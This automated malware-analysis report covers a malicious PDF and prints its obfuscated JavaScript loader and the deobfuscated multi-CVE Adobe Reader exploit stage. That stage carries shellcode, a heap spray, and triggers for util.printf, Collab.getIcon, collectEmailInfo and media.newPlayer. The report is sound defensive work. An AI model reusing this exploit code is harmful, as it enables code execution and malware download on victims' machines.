Malicious PDF — malware analysis report

Static analysis result for SHA-256 a0968e17efd39818…

MALICIOUS

PDF

13.0 KB Created: 2010-05-07 07:49:16 Authoring application: Vovevewoliphosv First seen: 2026-05-11
MD5: 933674c67e37b0f89c523fcd7d56c526 SHA-1: 32fa5a781643c83884106e8a689dcb17ff08acd3 SHA-256: a0968e17efd398182c53a522b26560f312904ab7a2f33404dc35a737e4b235e6
408 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0015_000.js pdf-javascript-stream PDF /JS object 15 at offset 0x2A51 2773 bytes
SHA-256: 11ed08615caf6c0c5536c71efa1f6a7902dd039454dd092d8be1559afe6c1c7e
Preview script
First 1,000 lines of the extracted script
// f2153d3f3faf4a133d3057723a35113c
var sN=String("leIRf".substr(0,2)+"ngJp8D".substr(0,2)+"thXkV".substr(0,2));
// cbdffe09aced2d228eeee3d9faf397ab
var x=100-100;
// ff7226638c3956e7ce863945bff5fe83
var v=String("char"+"Code"+"At");
// 8c0adb929652071d44debef0fd24cffd
var r="un0KHU".substr(0,2)+"vyXUesvUXy".substr(4,2)+"caX5h".substr(0,2)+"9Ahmpe9Amh".substr(4,2);
// 7160e012b1d44f36c3f3be2dac3b5977
var p=14;
// 631e1ba6d78b3bf5c5a826e159f731f3
var xA=String;
// 8239ee31745d033a6fe0bcb005a985ba
var cT="get"+"Pag"+"eNt"+"hWoUEg".substr(0,3)+"4MSxrdxS4M".substr(4,2);
// 61c79a2bda4fe32aea3417e9e0f2232c
var j=27-26;
// 90f243858516b5467266a024ed821ecb;
// 25db09a847139e7839c32ce95309f033
var l="charC"+"odeAt";
// 26cb9091c0ec04c2226305b7c223e3f4
var h="su"+"bs2lD".substr(0,2)+"tr";
// 3b810bdd27d66096f68be79d8057ddc6
var d=this;
// e4bdfab77c2d3cef08e7b40065999fa1
var lW=String("%MZf".substr(0,1));
// b5345e401ef85c8a1334cda4ac6221c1
var qJ=new String("ge"+"tPcNQS".substr(0,2)+"ag"+"J2XeNX2J".substr(3,2)+"um"+"yQFtWoFyQt".substr(4,2)+"rdvJf".substr(0,2)+"sqQ6z".substr(0,1));
// 9bbec315108a10baf99ca954177ed363
var lI=77-75;
// 7f9e8eabfb9f6df847f82a46f9e262db
var qL=2;
// 03c84c33878c49e1794f2237cfab136b
var lE=new String("fr"+"omZ3a".substr(0,2)+"V2YUChY2UV".substr(4,2)+"ar"+"Co"+"Gf8deG8f".substr(3,2));
// 553d8dff1ac9d3e186d66490167b1e03
var mV=String("evXjw".substr(0,2)+"al");
// 1f5a2710b3390ead9a25ce6f307a6771
function b(lQ,qH){return lQ[qH]};
// e8e2c86df2b7f94f71a3505646969e56
var f=d[qJ](qL);
// 8e222dda70e62cf1fb2b91961752811f
var hC=d[r];
// 4aa5cdbfcb6194a78e0b4cd1f051cff4
function aT(dA,mR){return dA^mR;};
// 4fcaeb07acc29787319dd2e48e44bdff
var bY=d[mV];
// a6baef584f4ca7d15ce8a84cfc70a047
function sV(lQ,xO){return lQ[h](xO,lI)};
// e9205e486a2572d6b588d22e7786eec3
var v=d[v];
// d004dfc08b295994e659bac4ff632a6d
function yR(jC){return d[cT](qL,jC)};
// 885fd69f2e2c684f1a03f97fb4443a99
function wJ(lM,mVK){return lM-mVK};
// 52192ffb2ccd36a03fafa2e63f558c4e
function iZ(lQ){return lQ[sN]-lI};
// 9597c68ed2eed52916ba9b0b1e2dbbf7
function n(rU,xO){return rU[l](xO)};
// 56cb94a36d92f75c3bdf9725ae77c643;
// 49e8102705cac7bff139cd97e6f9c991
function oF(lM,mVK){return lM+mVK};
// 56cbadd428f5f3289e2060fdaa91b20f
var rY=new xA();
// 08d51bad50b298526d50b93ceaca0e6e
function gR(jC){
// 87f77c39a0d52ee6f46e5684058e90db
var bC=yR(jC);
// 62af2e3d3afa5dde805336456cc5468d
xO=iZ(bC);
// d8042ef42c99b896d2eb09d07b389e82
wL=sV(bC,xO);
// f2615e5a6e356864ff2cde60b9f4d5c1
fK = hC(oF(lW,wL));return n(fK,x);};for(var jC=x;jC<f;jC++){
// f77cac7035072d6d1fcdd15a04da5580
var uZ=gR(jC);
// f31503457f4085a4b6c99de269800929
var nC=aT(uZ,p);
// bfdf84a8baa1832e9e151e60bf5651fb
rY+=b(xA,lE)(nC);
// 08927fb71ee4891f9d2c6a60af27af46
}bY(rY);
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 3790 bytes
SHA-256: 740e5ca6dd9493ab93f7a7c193baee4f84f463e7f38b8887ca510b93f0539bd9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
�����������������������������
	var src_table = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%';
	var dest_table= 'JQ2cS-uPHtBa/gCNDfU6Ej:lwxnM1L0k&sOI9imTpqXbd3GA%?0WY48y_V.ZvrRFe7zhKo5=';

var hwTl9Dn = new Array();  

function get_shellcode(name) {

	var u = get_url();
	u = for_unescape(u);

	var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
	s+= u;
	return unescape(s);
}


function get_url(){ 
	var str = this.info.author;
	var ret = encode_str(str, dest_table, src_table);
	return ret;
};


function encode_str(str, src_table, dest_table){

	var ret="";
	for(var i=0; i < str.length; i++)
	{
		var index = src_table.indexOf(str[i]);
		if(index > -1 )
		{
			ret += dest_table[index];
		}
	}

	return ret;
};


function for_unescape(str)
{
	var out = "";

    str = bin2hex(str);
    g = Math.round(str.length / 4);
	if (g != str.length /4) str+="00";

	for(var i=0; i < str.length; i+=4)
	{
		out+="%u" + str.substr(i+2, 2) + str.substr(i, 2);
	}

	return out;	
}


function bin2hex (s){

    var i, f = 0, a = [];
    
    s += '';
    f = s.length;
    
    for (i = 0; i<f; i++) {
        a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();
    }
    
    return a.join('');
}



function Rq4v1qCC(PDrScZj4, ez5pL6){    

	while (PDrScZj4.length * 2 < ez5pL6){      
		PDrScZj4 += PDrScZj4;    
	}    

	PDrScZj4 = PDrScZj4.substring(0, ez5pL6 / 2);    return PDrScZj4;  
}  

function x8EvTm(I7T0vko5){  

	var qPBt7D = 0x0c0c0c0c;        

	NRjjR6W6 = get_shellcode("pdf");

	if (I7T0vko5 == 1){qPBt7D = 0x30303030;}

	var FeQq1Vv = 0x400000;   
	var tsSzSc = NRjjR6W6.length * 2;    var ez5pL6 = FeQq1Vv - (tsSzSc + 0x38);    
	var PDrScZj4 = unescape("%u9090%u9090");    

	PDrScZj4 = Rq4v1qCC(PDrScZj4, ez5pL6);    

	var x62RaBM3 = (qPBt7D - 0x400000) / FeQq1Vv;    

	for (var Ojafoj = 0; Ojafoj < x62RaBM3; Ojafoj ++ ){    
		hwTl9Dn[Ojafoj] = PDrScZj4 + NRjjR6W6;    
	}
}  

function U2UcYKr(){   

var IyIFVe = app.viewerVersion.toString();          

	if (IyIFVe > 8)
	{
		x8EvTm(1);
		var iVvCdy8 = "12999999999999999999";          

		for (RvU5gmOE = 0; RvU5gmOE < 276; RvU5gmOE ++ )
		{
			iVvCdy8 += "8";   
		}

		util.printf("%45000f", iVvCdy8);      
	}


if (IyIFVe < 8){

	x8EvTm(0);    
	var UNXaCTHb = unescape("%u0c0c%u0c0c");    

	while (UNXaCTHb.length < 44952) UNXaCTHb += UNXaCTHb;    

	this .collabStore = Collab.collectEmailInfo({        subj : "", msg : UNXaCTHb});      
}       

if (IyIFVe < 9.1){

	if (app.doc.Collab.getIcon)
	{
		x8EvTm(0); 
        var eGREUTNw = unescape("%09");          
		while (eGREUTNw.length < 0x4000)eGREUTNw += eGREUTNw;

		eGREUTNw = "N." + eGREUTNw;    

		app.doc.Collab.getIcon(eGREUTNw);   
	}
}   
if (IyIFVe == 9.2){        
	x8EvTm(1);              
	var sf="1.000000000.000000000.1337 : 3.13.37";
	util.printd(sf, new Date());           
	try {	
		media.newPlayer(null);              
	} catch(e) {}
	util.printd(sf, new Date());
}

}

U2UcYKr();

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